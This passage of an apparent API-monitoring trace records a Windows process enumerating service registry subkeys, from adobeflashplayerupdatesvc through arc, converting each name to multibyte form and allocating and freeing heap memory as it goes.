lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 